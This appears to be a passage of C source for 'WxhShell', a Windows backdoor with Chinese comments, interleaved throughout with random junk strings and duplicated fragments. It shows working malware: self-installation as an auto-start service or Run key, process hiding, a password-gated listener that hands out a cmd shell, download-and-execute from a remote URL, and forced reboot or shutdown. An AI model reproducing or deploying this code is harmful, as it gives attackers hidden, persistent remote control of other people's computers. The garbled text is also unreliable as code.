,"EnumProcessModules"); I Jqv w g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 692Rw}/ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P$6W`^DZ 2rF?Q?$,B if (!NtQueryInformationProcess) return 0; 4 |FRg NP$e-" 1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *&(2`#C; if(!hProcess) return 0; `}[VwQ 1 pa*T! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nG!&u1* KlY,NSlQ CloseHandle(hProcess); %A8Pkr<&E -QN1oK@\mE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BXNI(7xi if(hProcess==NULL) return 0; FwXKRZa j p! HMODULE hMod; *1\z^4=a] char procName[255]; 1V-=$Q3
V7 unsigned long cbNeeded; z~BD(FDI k& WS$R?u if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GSC{F#:z Fq vQk CloseHandle(hProcess); t8t}7XD
~5FS|[1L if(strstr(procName,"services")) return 1; // 以服务启动 1NuR/DO fS5GICx8R return 0; // 注册表启动 ;R/k2^uF } W+8BQ-2 '$n:CNha // 主模块 wTB)v ! int StartWxhshell(LPSTR lpCmdLine) umZlIH[7 { P4hZB_.= SOCKET wsl; N-XVRuv BOOL val=TRUE; s.VUdR" int port=0; fEHh]%GT` struct sockaddr_in door; &7$,<9. D/gd if(wscfg.ws_autoins) Install(); kuWK/6l4 )?F$-~7 port=atoi(lpCmdLine); NQDLI 1o BPwI8\V if(port<=0) port=wscfg.ws_port; K~`n}_: #DQX<:u WSADATA data; ?(fQ<i n if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >]:N?[Y_~} \Y51KB\ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I~d#p ]> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yB0jL:|a door.sin_family = AF_INET; 's$A+8;L door.sin_addr.s_addr = inet_addr("127.0.0.1"); NE$VeW+@ door.sin_port = htons(port); #=`FM:WH '9IP; if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zY]Bu-S3 closesocket(wsl); CWE Ejl return 1; 6W)xj6<@ } ;[;)P tFz\ LN@lrC7X if(listen(wsl,2) == INVALID_SOCKET) { C$$"{FfgU" closesocket(wsl); l5{(z;xM return 1; fn1 ?Qp| }
H;b8I Wxhshell(wsl); tn"Y9
k| WSACleanup(); ATKYjhc _ \Ku9"x return 0; 'dmp4VT3 N90\]dFmy } [54@i rH IW5*9)N? // 以NT服务方式启动 A6{t%k~F VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2q`)GCES~ { +CsI,Uf4* DWORD status = 0; >v^2^$^u DWORD specificError = 0xfffffff; Am>_4 o,*folL serviceStatus.dwServiceType = SERVICE_WIN32; 4y|xUO: serviceStatus.dwCurrentState = SERVICE_START_PENDING; cEDDO&u serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P]!LN\[ serviceStatus.dwWin32ExitCode = 0; ~bQFk?ZN+ serviceStatus.dwServiceSpecificExitCode = 0; j~+[uzW98 serviceStatus.dwCheckPoint = 0; ?R|fS*e2EB serviceStatus.dwWaitHint = 0; )m|X;eEo * \=2KIF' hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /W"Bf if (hServiceStatusHandle==0) return; s5c! ^,L8 N,WI{* status = GetLastError(); D< nlb- if (status!=NO_ERROR) r4;5b s6wm { ^m6k@VM serviceStatus.dwCurrentState = SERVICE_STOPPED; Gl?P.BCW.& serviceStatus.dwCheckPoint = 0; !Z#_X@NFc serviceStatus.dwWaitHint = 0; D__lqboz serviceStatus.dwWin32ExitCode = status; anHBySI3 serviceStatus.dwServiceSpecificExitCode = specificError; el <<D SetServiceStatus(hServiceStatusHandle, &serviceStatus); fOqS|1rC return; L
LYHr } Ov$N" B6tcKh9d, serviceStatus.dwCurrentState = SERVICE_RUNNING; S[W9G)KWp serviceStatus.dwCheckPoint = 0; LP5eFl`|T serviceStatus.dwWaitHint = 0; o~i]W.SI( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8gVxiFjo } 5?V? lH#@^i|G // 处理NT服务事件,比如:启动、停止 5;3c< VOID WINAPI NTServiceHandler(DWORD fdwControl) h]J&A { #,f}lV,& switch(fdwControl) *kX3sG$8 { |@o]X?^ case SERVICE_CONTROL_STOP: p/\$P= serviceStatus.dwWin32ExitCode = 0; JLy)}8I serviceStatus.dwCurrentState = SERVICE_STOPPED; w5dIk]T serviceStatus.dwCheckPoint = 0; d8Q_6(Ar| serviceStatus.dwWaitHint = 0; c8k6(#\ { &+E'1h10 SetServiceStatus(hServiceStatusHandle, &serviceStatus); K#9(|2J% } xG *lV|<7> return; ~pd1) case SERVICE_CONTROL_PAUSE: 4
|:Q1 serviceStatus.dwCurrentState = SERVICE_PAUSED; Vu|Br break; -V;0_Nx7p case SERVICE_CONTROL_CONTINUE: )8 "EI-/. serviceStatus.dwCurrentState = SERVICE_RUNNING; 0[Xt,~ break; /%J&/2Wz case SERVICE_CONTROL_INTERROGATE: <
"L){$ break; ?)Czl4J }; &xGfkCP.] SetServiceStatus(hServiceStatusHandle, &serviceStatus); L}e"nzTE6I } <B]i80. Dyouk+08x // 标准应用程序主函数 q
G :jnl int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j=xtnIq { @\%)'WU 3PvZ_!G // 获取操作系统版本 h}anTFKP OsIsNt=GetOsVer(); w-0O j GetModuleFileName(NULL,ExeFile,MAX_PATH); t6<sNzF& /XWPN(JC? // 从命令行安装 [#hl}q(P# if(strpbrk(lpCmdLine,"iI")) Install(); W%cj39$ rj2r# {[ // 下载执行文件 Vq .!(x if(wscfg.ws_downexe) { Kc JP^ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]v^`+s}3 WinExec(wscfg.ws_filenam,SW_HIDE); %vf2||a$BS } v
GR
\GFm 6mI_Q2 if(!OsIsNt) { |l6<GWG+ // 如果时win9x,隐藏进程并且设置为注册表启动 O]Ry3j HideProc(); 5O;a/q8" StartWxhshell(lpCmdLine); uhC= } Ww'TCWk@ else dPH!
V6r if(StartFromService()) u/!mN2{Rd // 以服务方式启动 !\&7oAs=I StartServiceCtrlDispatcher(DispatchTable); )MD*)O else /c_kj2& ]9 // 普通方式启动 XvA0nEi StartWxhshell(lpCmdLine); &{%S0\K Y `L"p)5H return 0; ga{25q}" } :"<B@Z 6PzN>+t^y 7/^TwNsv ~q8V<@? =========================================== Zv1Bju*y 8aZey_Hw;+ sO{0hZkc ~*' 8=D?) l$p_])x (Qx-KRH " VeN&rjc T4H oSei #include <stdio.h> OU)p)Y_z #include <string.h> mf*9^}l+Zn #include <windows.h> G>q{~HE1 #include <winsock2.h> s!j(nUd/ #include <winsvc.h> Eis%)oE
#include <urlmon.h> `G ;Lz^ ArmL, #pragma comment (lib, "Ws2_32.lib") \[IdR^<YM #pragma comment (lib, "urlmon.lib") +%Bf
y4F6 WB=<W#?w7% #define MAX_USER 100 // 最大客户端连接数 SVg@xu+ #define BUF_SOCK 200 // sock buffer Wy^[4|6 #define KEY_BUFF 255 // 输入 buffer
7>#L ~G{$ P'[ #define REBOOT 0 // 重启 WnJLX ^; #define SHUTDOWN 1 // 关机 8)-t91hkL -;@5Ua1uf #define DEF_PORT 5000 // 监听端口 YzhN |!;!k @KW+?maW #define REG_LEN 16 // 注册表键长度 _~wV{ yp #define SVC_LEN 80 // NT服务名长度 /K1$_ l9ifUhe // 从dll定义API D25gg typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {o5K?Pb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M[
~2,M&H typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .~A"Wyu\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RZV1:hNN k9_VhR|! // wxhshell配置信息 ;GSFQ:m[ struct WSCFG { ek{PA!9Sk int ws_port; // 监听端口 2,XqslB) char ws_passstr[REG_LEN]; // 口令 ]:E! i^C`Z int ws_autoins; // 安装标记, 1=yes 0=no ?CUp&L0-" char ws_regname[REG_LEN]; // 注册表键名 $vw}p. char ws_svcname[REG_LEN]; // 服务名 P2
K>|r char ws_svcdisp[SVC_LEN]; // 服务显示名 -YRL>]1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 /[0 /8f6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /H;kYx int ws_downexe; // 下载执行标记, 1=yes 0=no ]!tYrSM! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y9G 57D char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "mP*}VF +sR *d }; owpJ7S1~ i3kI2\bd/ // default Wxhshell configuration #Rm=Em}d struct WSCFG wscfg={DEF_PORT, @Pb 1QLiz "xuhuanlingzhe", d"d)<f
1, %\{?(baOA "Wxhshell", Eps\iykB "Wxhshell", (y+5d00 "WxhShell Service", li_pM!dWU_ "Wrsky Windows CmdShell Service", [>J~M!yu:r "Please Input Your Password: ", {ZsWZJ! 1, 8F\Msx "http://www.wrsky.com/wxhshell.exe", 3R=3\; "Wxhshell.exe" P=sK+}5`q }; PM@s}( 1M~:]}*< // 消息定义模块 .{]c&Ef+f char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8{4D |o#O char *msg_ws_prompt="\n\r? for help\n\r#>"; $L#Z?76v char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qiKtR char *msg_ws_ext="\n\rExit."; 5.K$
X$+7} char *msg_ws_end="\n\rQuit."; ETWmeMN char *msg_ws_boot="\n\rReboot..."; #PLB$$ char *msg_ws_poff="\n\rShutdown..."; a4a[pX,5 char *msg_ws_down="\n\rSave to "; a@=36gx) : {N3o: char *msg_ws_err="\n\rErr!"; DHumBnQ char *msg_ws_ok="\n\rOK!"; ;AL@<,8 tCCi|*P
G char ExeFile[MAX_PATH]; iB`WXU int nUser = 0; Ye=7Y57Nr HANDLE handles[MAX_USER]; hzPB~obC int OsIsNt;
jQ\
MB zS"zb SERVICE_STATUS serviceStatus; b{|/J <Fe SERVICE_STATUS_HANDLE hServiceStatusHandle; >/HU' /glnJ3 // 函数声明 U` nS` p int Install(void); |e-+xX|; int Uninstall(void); SSsQu^A int DownloadFile(char *sURL, SOCKET wsh); :Ye#NPOI int Boot(int flag); `E0.P V void HideProc(void); AGJ=de. int GetOsVer(void); 8.%a"sxr int Wxhshell(SOCKET wsl); cA*X$j6 void TalkWithClient(void *cs); q(PT'z int CmdShell(SOCKET sock); >A(?P n{|a int StartFromService(void); dZiWVa int StartWxhshell(LPSTR lpCmdLine); u*-<5&X ;!Z7-OZX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o`1V VOID WINAPI NTServiceHandler( DWORD fdwControl ); CT:eV7<>s m6Cd^'J9^ // 数据结构和表定义 E~@HC 5.M SERVICE_TABLE_ENTRY DispatchTable[] = l0_E9qh-i { ~CdseSo9 {wscfg.ws_svcname, NTServiceMain}, ?eVuz x {NULL, NULL} k-DB~-L }; `# M.t);^ *DI:MBJY // 自我安装 }!7DF int Install(void) k$x
'v# { 8 8=c3^ char svExeFile[MAX_PATH]; 4C9"Q,o%& HKEY key; R6@~ strcpy(svExeFile,ExeFile); a~eLkWnh<k @?cXa: tX // 如果是win9x系统,修改注册表设为自启动 b=
ec?n #7 if(!OsIsNt) { :2Rci`lp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7
} MJK) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -0IFPL8 RegCloseKey(key); V45Udwp^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yY-t4WeXP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =qR7-Q8B RegCloseKey(key); DHNii_w4v return 0; Ho8.-QSG } d!z).G } H6\ x.J^, } ihY^~ else { R qjDMN: Qnb?hvb"d // 如果是NT以上系统,安装为系统服务 +ET SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hsVJ&-# if (schSCManager!=0) u{nWjqrM*5 { Q;,3W+( SC_HANDLE schService = CreateService 70*iJ^| ( U
<$xp schSCManager, Wu;|(2I wscfg.ws_svcname, |afK"N wscfg.ws_svcdisp, J8?6G&0H SERVICE_ALL_ACCESS, 'xXqEwi4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M "P SERVICE_AUTO_START, Y+`-~ 88 SERVICE_ERROR_NORMAL, 0i(?LI_S svExeFile, x|i3e&D NULL, QpTNU.v5f NULL, :w_1J'D} NULL, (?3\.tQ}} NULL, !E#.WX NULL B|$13dHfa ); aKzD63 if (schService!=0) ~Q9)Q { A*U'SCg(G CloseServiceHandle(schService); =X5&au o CloseServiceHandle(schSCManager); &vvx" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N\e@$1 strcat(svExeFile,wscfg.ws_svcname); Au*?)X- $ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ygY+2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !vp!\Zj7o RegCloseKey(key); 2m_M9e\ return 0; x[~OVG0M* } ]`H.qV } u0KZrz CloseServiceHandle(schSCManager); =(5GU<} } i[^lJ)[>N } =&/a\z! p[cL#fBz return 1; l@J|p# 0q } RGuHXf j3-6WUO // 自我卸载 >^GCSPe int Uninstall(void) GE+csnA2 { K0H!Ds9 HKEY key; J6Nw-qF 'wnY>hN if(!OsIsNt) { "?&bh@P& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2965 7k8 RegDeleteValue(key,wscfg.ws_regname); 4
Wd5Goe: RegCloseKey(key); Hz3X*G\5b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,(W98}nB RegDeleteValue(key,wscfg.ws_regname); z\d2T%^:g( RegCloseKey(key); VgTI2 return 0; ?q }wl\"8 } n(xlad } ZboJszNb; } ^J~4~! else { m$qC
8z] ?JTyNg4< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >d
V@9 if (schSCManager!=0) Vzm+Ew
_ { Cj\+u\U# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); KrG6z#)Uz if (schService!=0) |5B9tjJ" { at]Q4 if(DeleteService(schService)!=0) { H[k3)r2 CloseServiceHandle(schService); na:^7:I CloseServiceHandle(schSCManager); gH)B`
@ return 0; $uB(@Ft. } CyDf[C)= CloseServiceHandle(schService); lfeWtzOf } [E1|jcmQ CloseServiceHandle(schSCManager); o"M^sKz47 } :I(gz~u6 } 2Lgvy/uN n<&R"89 return 1; &+^ Y>Ke } <qY>d,+E' EXzNehO~e // 从指定url下载文件 lG#&1 int DownloadFile(char *sURL, SOCKET wsh) lA
0_I"b2Y { L([ >yQZ HRESULT hr; gt (nZ char seps[]= "/"; A8(PI)Ic. char *token; qk1D#1vl char *file; 6mpUk.M" char myURL[MAX_PATH]; #h|< > char myFILE[MAX_PATH]; \9zC?Cw yP]W\W' strcpy(myURL,sURL); OBQ!0NM_b token=strtok(myURL,seps); {;M/J while(token!=NULL) iPpJ`i#@+ { _cN)q file=token; m48Y1'4 token=strtok(NULL,seps); *sVxjZvV } !$#4D&T 'u/HQg* GetCurrentDirectory(MAX_PATH,myFILE); 6WM_V9Tidq strcat(myFILE, "\\"); 1A.\Ao strcat(myFILE, file); B4Oa7$M/U send(wsh,myFILE,strlen(myFILE),0); o?+e_n= send(wsh,"...",3,0); &\[J hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .]c:Zt}P if(hr==S_OK) Utp\}0GZY return 0; YKd?)$J else Mg/2w return 1; bA,D] J"|$V# } #eyx /2cOZ1G; // 系统电源模块 ) <~7<.0 int Boot(int flag) W78-'c { !,uw./8@Ku HANDLE hToken; .6#2i <oPW TOKEN_PRIVILEGES tkp; M4\Io]}-M dL)5~V8s if(OsIsNt) { qrh7\`,.m/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +t{FF!mL LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x^BBK' tkp.PrivilegeCount = 1; 0k<%l6Bq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6I![5j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S-|$sV^cG if(flag==REBOOT) { Ooy96M~_G if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6mLE-(
Z7 return 0; <P-r)=^ } K\Q
1/}) else { j,jUg}b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q NEaj\ return 0; a9-;8`fCR } ,CF~UX%
bU } ^KR(p!% else { p?nVPTh if(flag==REBOOT) { u\?u}t v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1sA-BQL return 0; bNgcZ
V. } 9z}kkYk else {
ond/e&1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iJeT+} return 0; 2eYkWHi } ~VF,qspO } Mq?21gW
7?s>u937 return 1; z[OEgHI } e(A&VIp Mla,"~4D5 // win9x进程隐藏模块 H5)WxsZ R void HideProc(void) >=Veu; A { i .&16AY OYy8u{@U: HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9,+LNZ'k if ( hKernel != NULL ) m%puD9 { 6m&I_icM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :Fl: bRH+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (fS4qz:&l FreeLibrary(hKernel); v<4zcMv } 4r$t}t
gX n2~rrQ
\/p return; UqbE } #D8)rs.9 )DMbO"7 // 获取操作系统版本 3{z }[@N int GetOsVer(void) >EjBknl { _qfdk@@g OSVERSIONINFO winfo; =6:Iv"< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bfgLU.1I GetVersionEx(&winfo); 9UX-)! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5E}i<}sq5 return 1; 5/<Y,eZ/ else 0)#I5tEre return 0; B}.ia_&DLR } HAXx`r< [gDvAtTZ5 // 客户端句柄模块 wqsnyP/m int Wxhshell(SOCKET wsl) WJWhx4Hk { '|.u*M,b SOCKET wsh; Zzs pE} struct sockaddr_in client; DlP=R DWORD myID; '_8Vay~ N !:&$z- while(nUser<MAX_USER) 89l}6p/L { 8dfx _kY`/ int nSize=sizeof(client); NH/H+7,o wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oc.x1<Nd if(wsh==INVALID_SOCKET) return 1; %* 8QLI z^]nP87 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qabM@+m[ if(handles[nUser]==0) eZHi6v)i closesocket(wsh); =Ur/v'm
else fO+;%B nUser++; O<5bsKw'r } Cv3H%g+as WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SU^/qF%8 4Y'qoM; return 0; @:
NrC76 } aOOY_S
E rB\UNXy // 关闭 socket @eul~%B{X void CloseIt(SOCKET wsh) . 2WZb_B { KW)yTE< closesocket(wsh); VrDv d nUser--; y}|zH ExitThread(0); +VfJ:[q } 7~
2X/ &c'unKH // 客户端请求句柄 N4r`czoj void TalkWithClient(void *cs) lVtgg? { 8K$:9+OY Sx}h$E: SOCKET wsh=(SOCKET)cs; `8Gwf;P1 char pwd[SVC_LEN]; [Gu]p& char cmd[KEY_BUFF]; =i.[|g" char chr[1]; GlaWBF# int i,j; \J6T:jeS, X~x]VKr/ while (nUser < MAX_USER) { tC&Xm}: _ge3R3 if(wscfg.ws_passstr) { SYyH_0N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rv^j&X+EH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * fx<>aK //ZeroMemory(pwd,KEY_BUFF); nBQG.3 i=0; VFyt9:a while(i<SVC_LEN) { }=++Lr4* m{' q(w} // 设置超时 }b44^iL$9y fd_set FdRead; I6UZ_H'E struct timeval TimeOut; e3[N#ryt FD_ZERO(&FdRead); 'tOo0Zgc FD_SET(wsh,&FdRead); Pai{?<zGi TimeOut.tv_sec=8; b"J(u|Du` TimeOut.tv_usec=0; FQ[::*- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z0x N9S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :f`1 4aGHks8Z,\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #fwG~Q( pwd=chr[0]; Ts^IA67&< if(chr[0]==0xd || chr[0]==0xa) { yjr!8L:m pwd=0; _3`{wzMA break; b2z~C{l } ";Lpf]< i++; <yeG0`}t } :R_(+EK1
pNDL:vMWP // 如果是非法用户,关闭 socket upWq=_ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7;Wj ^# } \jC}>9 4Vt YR send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mI l_
[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ' e-FJ')| J^u8d?>r while(1) { [
%r :V" b-wFnMXk+ ZeroMemory(cmd,KEY_BUFF); D:%v((Ccw (fq>P1- // 自动支持客户端 telnet标准 zd+8fP/UB j=0; W8\K_M} while(j<KEY_BUFF) { "8s0~[6S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *.20YruU;j cmd[j]=chr[0]; -O{Af if(chr[0]==0xa || chr[0]==0xd) { gXG1w> cmd[j]=0; ]zu"x9-` break; -\LB>\;qn } ~v2_vEu}JX j++; D=e&"V a } TfMuQ i'> op[5]tjL // 下载文件 KyDQ<Dq& if(strstr(cmd,"http://")) { =6/0=a[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); r..\(r if(DownloadFile(cmd,wsh)) `_<K#AG Ai send(wsh,msg_ws_err,strlen(msg_ws_err),0); V\Rbnvq else >0{{loqq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }9jy)gF*e } 0F)Y[{h< else { \9!W^i[+ ;g*ab switch(cmd[0]) { S.BM/M 1S <V,9( // 帮助 8LB+}N(8f case '?': { wR1M_&-s send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $TWt[ break; :FB#,AOa_ } &p0*:(j // 安装 ~[Mm0L}8 case 'i': { kpcIU7|e if(Install()) GKSfr8US4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 yQjB-,# else 2BEF8o]Np send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 90&ld :97 break; In5'(UHW: } eXUXoK=T // 卸载 : >4{m) case 'r': { j$a,93P5 if(Uninstall()) Ar N *9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); a6fMx~ else 8v_HIx0xu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \_qiUvPf\ break; $s$z"< } hC=9%u{r? // 显示 wxhshell 所在路径 V07e29w case 'p': { BJwPSKL char svExeFile[MAX_PATH]; t=Tu-2,k strcpy(svExeFile,"\n\r"); 6*le(^y` strcat(svExeFile,ExeFile); )k{zRq:d send(wsh,svExeFile,strlen(svExeFile),0); S8^W)XgC; break; D^$Nn*i;U } lt[{u$ // 重启 H0_hQ:K case 'b': { eo4;?z send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9=89)TrY if(Boot(REBOOT)) Pl9/1YhD/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vnlns2pQl else { UF3WpA closesocket(wsh); aPWlV= oG ExitThread(0); _py%L+&{ } lZ'-?xo break; +eg$Z]Lht } 8lh{ R // 关机 ^
1}_VB)^ case 'd': { G$<FQDvs send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p
eQD]v if(Boot(SHUTDOWN)) Tj$D:xKf) send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2'$p( else { zVFz}kJa closesocket(wsh); UB|f{7~& ExitThread(0); i!@L`h!rw } t ]7>' U break; 8HS1^\~(6l } `9SuDuw;s // 获取shell -Xb]=Yf- case 's': { 8&\<p7}=h CmdShell(wsh); l1fP@| closesocket(wsh); `D6Bw=7 ExitThread(0); p(fYpD break; S;[9
hI+ } n(\5Z& // 退出 X!KjRP\\ case 'x': { sluR@[l send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -Zh`h8gX CloseIt(wsh); *"2TT}) break; l_Mi'}j } ' !>t( Sa // 离开 21_>|EKp case 'q': { Wt*&_+ae send(wsh,msg_ws_end,strlen(msg_ws_end),0); D7T(B=S6 closesocket(wsh); hosw :% WSACleanup(); ?aR)dQ exit(1); t:X\`.W break; ]{;=<t6 } ?{ns1nW: } pHSq,XP- } ()i8 Qepo} ;"l>HL:^ // 提示信息 t&MJSFkiA if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jr29+> } /"Ws3.p } zcnp?% ^W+q!pYM9+ return; t=J WD2 } 8T6.Zhv =QXLr+
y@ // shell模块句柄 %9B r int CmdShell(SOCKET sock) E(N?.i-%$ { `&xo;Vnc STARTUPINFO si; vs}_1o ZeroMemory(&si,sizeof(si)); B/u0^! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JFf*v6:, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5RD\XgyN] PROCESS_INFORMATION ProcessInfo; $Kw)BnV char cmdline[]="cmd"; R1 u1 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ". #=_/op return 0; T5(]/v,UT } 'i#m%D`dt |>(d^<nR^v // 自身启动模式 X~wkqI#d%E int StartFromService(void) JsAl;w { 1ga.%M* typedef struct t '
_Au8 { p w(eWP DWORD ExitStatus; r6k0=6i DWORD PebBaseAddress; HF>Gf2-C DWORD AffinityMask; =>Ss:SGjT DWORD BasePriority; Jv(9w[ ULONG UniqueProcessId; H=b54.J8& ULONG InheritedFromUniqueProcessId; e}>8rnR{ } PROCESS_BASIC_INFORMATION; Ct2m l IO3`/R- PROCNTQSIP NtQueryInformationProcess; NGZEUtj R+,eX jz" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m:U.ao6 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gw[\7 `@?f@p$(B HANDLE hProcess; <,/k"Y= PROCESS_BASIC_INFORMATION pbi; 9ReH@5_bGM v|r\kr k HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rS1mBrqD if(NULL == hInst ) return 0; T*YbmI]4 c4Q{ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <5rs~ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (3PkTQlE NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g%z'#E97 }@Rq'VPZd if (!NtQueryInformationProcess) return 0; n/*BK; /Xa_Xg7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^Qrezl& if(!hProcess) return 0; .u[hK K6"#&0 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ::bK{yZm fNjxdG{a CloseHandle(hProcess); =fk+"!-i%" %@JNX}Y' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .
!gkJ if(hProcess==NULL) return 0; LS1r}cl 5cLq6[uO HMODULE hMod;
